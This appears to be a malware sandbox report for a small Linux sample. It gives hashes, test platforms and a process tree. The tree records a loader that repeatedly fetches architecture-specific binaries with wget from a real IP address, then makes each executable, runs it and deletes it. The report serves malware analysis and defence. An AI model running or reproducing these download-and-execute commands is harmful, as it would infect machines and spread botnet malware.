Analysis
-
max time kernel
6s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-05-2024 17:30
Static task
static1
Behavioral task
behavioral1
Sample
50a6392393681a3a114066024f4ffd7c_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
50a6392393681a3a114066024f4ffd7c_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
50a6392393681a3a114066024f4ffd7c_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
50a6392393681a3a114066024f4ffd7c_JaffaCakes118
Resource
debian9-mipsel-20240418-en
General
-
Target
50a6392393681a3a114066024f4ffd7c_JaffaCakes118
-
Size
1KB
-
MD5
50a6392393681a3a114066024f4ffd7c
-
SHA1
a8f0ec6f3b38d41b6b1b7f47b37b5b03cc8cabee
-
SHA256
f4155d5dc840125c7dc42c1ce06a591edcb8f54476677879339f7b4063b09f68
-
SHA512
b114b1b084cf2d549130bb8c365bb62bb2838c3d9ecec37594b4e7be10b0f5a5699c499f63ce48d64f3b9f0221ae5135e32ac9ec348f00dea6f1be02a1c35715
Malware Config
Signatures
Processes
-
/tmp/50a6392393681a3a114066024f4ffd7c_JaffaCakes118/tmp/50a6392393681a3a114066024f4ffd7c_JaffaCakes1181⤵PID:1507
-
/usr/bin/wgetwget http://192.3.12.113/m-i.p-s.RAZA2⤵PID:1508
-
-
/bin/chmodchmod +x m-i.p-s.RAZA2⤵PID:1512
-
-
/tmp/m-i.p-s.RAZA./m-i.p-s.RAZA2⤵PID:1513
-
-
/bin/rmrm -rf m-i.p-s.RAZA2⤵PID:1514
-
-
/usr/bin/wgetwget http://192.3.12.113/m-p.s-l.RAZA2⤵PID:1515
-
-
/bin/chmodchmod +x m-p.s-l.RAZA2⤵PID:1516
-
-
/tmp/m-p.s-l.RAZA./m-p.s-l.RAZA2⤵PID:1517
-
-
/bin/rmrm -rf m-p.s-l.RAZA2⤵PID:1518
-
-
/usr/bin/wgetwget http://192.3.12.113/s-h.4-.RAZA2⤵PID:1519
-
-
/bin/chmodchmod +x s-h.4-.RAZA2⤵PID:1520
-
-
/tmp/s-h.4-.RAZA./s-h.4-.RAZA2⤵PID:1521
-
-
/bin/rmrm -rf s-h.4-.RAZA2⤵PID:1522
-
-
/usr/bin/wgetwget http://192.3.12.113/x-8.6-.RAZA2⤵PID:1523
-
-
/bin/chmodchmod +x x-8.6-.RAZA2⤵PID:1524
-
-
/tmp/x-8.6-.RAZA./x-8.6-.RAZA2⤵PID:1525
-
-
/bin/rmrm -rf x-8.6-.RAZA2⤵PID:1526
-
-
/usr/bin/wgetwget http://192.3.12.113/a-r.m-6.RAZA2⤵PID:1527
-
-
/bin/chmodchmod +x a-r.m-6.RAZA2⤵PID:1528
-
-
/tmp/a-r.m-6.RAZA./a-r.m-6.RAZA2⤵PID:1529
-
-
/bin/rmrm -rf a-r.m-6.RAZA2⤵PID:1530
-
-
/usr/bin/wgetwget http://192.3.12.113/x-3.2-.RAZA2⤵PID:1531
-
-
/bin/chmodchmod +x x-3.2-.RAZA2⤵PID:1532
-
-
/tmp/x-3.2-.RAZA./x-3.2-.RAZA2⤵PID:1533
-
-
/bin/rmrm -rf x-3.2-.RAZA2⤵PID:1534
-
-
/usr/bin/wgetwget http://192.3.12.113/a-r.m-7.RAZA2⤵PID:1535
-
-
/bin/chmodchmod +x a-r.m-7.RAZA2⤵PID:1536
-
-
/tmp/a-r.m-7.RAZA./a-r.m-7.RAZA2⤵PID:1537
-
-
/bin/rmrm -rf a-r.m-7.RAZA2⤵PID:1538
-
-
/usr/bin/wgetwget http://192.3.12.113/p-p.c-.RAZA2⤵PID:1539
-
-
/bin/chmodchmod +x p-p.c-.RAZA2⤵PID:1540
-
-
/tmp/p-p.c-.RAZA./p-p.c-.RAZA2⤵PID:1541
-
-
/bin/rmrm -rf p-p.c-.RAZA2⤵PID:1542
-
-
/usr/bin/wgetwget http://192.3.12.113/i-5.8-6.RAZA2⤵PID:1543
-
-
/bin/chmodchmod +x i-5.8-6.RAZA2⤵PID:1544
-
-
/tmp/i-5.8-6.RAZA./i-5.8-6.RAZA2⤵PID:1545
-
-
/bin/rmrm -rf i-5.8-6.RAZA2⤵PID:1546
-
-
/usr/bin/wgetwget http://192.3.12.113/m-6.8-k.RAZA2⤵PID:1547
-
-
/bin/chmodchmod +x m-6.8-k.RAZA2⤵PID:1548
-
-
/tmp/m-6.8-k.RAZA./m-6.8-k.RAZA2⤵PID:1549
-
-
/bin/rmrm -rf m-6.8-k.RAZA2⤵PID:1550
-
-
/usr/bin/wgetwget http://192.3.12.113/p-p.c-.RAZA2⤵PID:1551
-
-
/bin/chmodchmod +x p-p.c-.RAZA2⤵PID:1552
-
-
/tmp/p-p.c-.RAZA./p-p.c-.RAZA2⤵PID:1553
-
-
/bin/rmrm -rf p-p.c-.RAZA2⤵PID:1554
-
-
/usr/bin/wgetwget http://192.3.12.113/a-r.m-4.RAZA2⤵PID:1555
-
-
/bin/chmodchmod +x a-r.m-4.RAZA2⤵PID:1556
-
-
/tmp/a-r.m-4.RAZA./a-r.m-4.RAZA2⤵PID:1557
-
-
/bin/rmrm -rf a-r.m-4.RAZA2⤵PID:1558
-
-
/usr/bin/wgetwget http://192.3.12.113/a-r.m-5.RAZA2⤵PID:1559
-
-
/bin/chmodchmod +x a-r.m-5.RAZA2⤵PID:1560
-
-
/tmp/a-r.m-5.RAZA./a-r.m-5.RAZA2⤵PID:1561
-
-
/bin/rmrm -rf a-r.m-5.RAZA2⤵PID:1562
-